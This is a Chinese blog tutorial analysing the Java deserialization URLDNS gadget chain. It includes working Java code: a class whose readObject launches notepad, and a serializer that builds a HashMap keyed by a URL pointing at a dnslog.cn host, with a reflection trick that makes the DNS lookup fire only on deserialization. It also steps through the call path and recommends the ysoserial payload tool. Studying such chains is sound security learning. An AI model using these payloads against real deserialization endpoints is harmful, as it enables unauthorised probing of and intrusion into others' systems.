java反序列化 URLDNS链分析

前言

终于可算是来到java反序列化,在菠萝师傅的一番提醒,我认识到自己不能继续在简单的游荡了,要来到难的地方了。

也庆祝自己终于拥有了勇气。

分析

基础

我相对喜欢先代码在讲原理,这里不怎么了解序列化可以去复习一下javase

可以在这里B站复习一下

序列化流(3集)

反射(5集)

大家有没有想过一个问题,关于游戏的存档问题,他是储存在那里的呢,我感觉他可能就是像这样将数据加密一下,放到一个文件里面,然后启动的时候读取这个文件,所以像那些单机游戏破解器,是不是这样的,存储的值。

这里我们下面看一个基本不可能发生的反序列化例子。

//Asuread.java

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Asuread implements Serializable {
    private String name;
    private int age;


    public Asuread() {
    }

    public Asuread(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void readObject(ObjectInputStream os) throws IOException, ClassNotFoundException {
        os.defaultReadObject();
        Runtime.getRuntime().exec("notepad");
    }
}
//Stest.java

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Stest {
    public static void main(String[] args) throws IOException {
        Asuread asu = new Asuread("aa",1);
        Serialize(asu);
    }

    public static void Serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
        out.close();
    }
}
//UStest.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class UStest {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get("./1.bin")));
        Asuread asu = (Asuread) out.readObject();
        System.out.println(asu);
    }
}

上面我们可以看到在Asuread这个类中我们是重写了一个readObject方法,让他去打开一个记事本。

首先我们知道我们序列化需要使用writeObject,反序列化的时候会使用readObject这个方法,所以如果我们重写readObject方法,不是他就会执行那个方法。

可以看到在我们执行以后他是弹出来一个记事本的。

 

 URLDNS链

java环境:java8

注:经过尝试java17会报错

这个链子是我们入门的链子,为我们接下来的cc打好基础,甚至他本身也就是一个检测是否存在反序列化漏洞的一个存在。

这里先放代码,接收的网站我们可以在DNSLog Platform生成一个或者可以选择burp生成接受,这里为了方便就使用网站了。

//Serial.java
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Serial implements Serializable {

    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
        // 创建一个 HashMap 对象,用于存储 URL 对象及其对应的整数值
        HashMap<URL, Integer> hash = new HashMap<>();
        // 创建一个 URL 对象
        URL url = new URL("http://yuyp63.dnslog.cn");

        // 先获取字节码文件, 然后获取 URL 类的 hashCode 字段
        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        //临时修改构造方法的访问权限,让我们可以修改值

        hashCode.setAccessible(true);

        // 改变 URL 对象的 hashCode 值为 21,并将其添加到 HashMap 对象中
        hashCode.set(url, 21);
        hash.put(url, 1);

        // 再次改变 URL 对象的 hashCode 值为 -1
        hashCode.set(url, -1);

        // 创建一个 ObjectOutputStream 对象,并指定输出流的目标文件
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("./1.bin")));

        // 将 HashMap 对象写入到输出流中
        out.writeObject(hash);
        // 关闭输出流
        out.close();
    }
}
//Unserial.java

import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Unserial {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get("./1.bin")));
        out.readObject();
    }
}

 我们执行一下,这里在网站Refresh Record两下可以看到马上就接受到了

URLDNS分析

终于是来到我喜欢的分析环节了。

说先说明我们为什么要选择HashMap,因为HashMap为了保证键的唯一,所以可以是任何属性的值,给我们操作的空间。

这里推荐一个东西,可以帮助我们快速找到我们要的方法或者值。

 这里我们就可以看到在旁边,可以看到类的方法,帮助我们快速跟进

 

链子分析

这里我们先看HashMap,从HashMap的readObject开始跟进,因为反序列化的时候,肯定会触发他的readObject方法的。

这里我们可以看到他又对键值进行了一次方法,估计是为让键值唯一的方法,这里我们跟进去看看。

        这里我们可以看到他是使用一个三元运算符,只要不是null,就是触发key的hashCode方法,要注意这里我们的键值传进去的是一个URL类的对象

        所以这里相当于在触发URL对象.hashCode()方法,所以这里我们放弃跟进HashCode类,去看看URL类中的hashCode方法

这里我们看到URL类中的hachCode方法

这里我们分析一下如果hashCode等于-1,就会进入handler.hashCode,然后触发DNS请求,如果我们值不等于-1,就是直接返回值。

但是我们发现hachCode的默认值就是-1,还是用private定义的

 

这个跟进这个方法进去看看。

 

继续跟进

 

这里我们看到这里,如果 host 参数是一个主机名,那么 getByName 方法会向 DNS 服务器发起一次 DNS 查询请求

疑惑代码分析

接下来我们结合代码和上面一起分析。

首先是这里,你会发现我们利用反射强制修改了,URL的hachCode的值,在put以后再还原成-1,这是为什么呢。

 这里我们跟进HachMap的put方法,这里看到这里也是进行了一次hash方法,进去看看是不是一样的

好的,一样的,所以我们在正常put的时候就已经触发了一次DNS请求了,这会影响我们的正常判断,但是通过上面,我们知道只要URL的hachCode值不为-1就可以直接返回值,不触发到DNS请求那里。

这里我们可以进行断点调试分析

这里我将断点设置在这里

这里我们可以看到,在执行到下面的字节码文件是,这时候URL的hashCode的值是默认的-1

执行到这里的时候,我们可以看到,他是获得到了URL的hachCode的值

 

这里我们看到在set以后,URL的hachCode的值已经被修改成了21,那么下面HachMap对象进行put的时候,就不会触发DNS请求了

在经历一次set以后,我们可以发现hachCode的值就变回-1了

 

工具推荐

没有之一的工具

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

里面有很多链子给我们利用,但是说工具不是最重要的,关键是要自己理解了

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值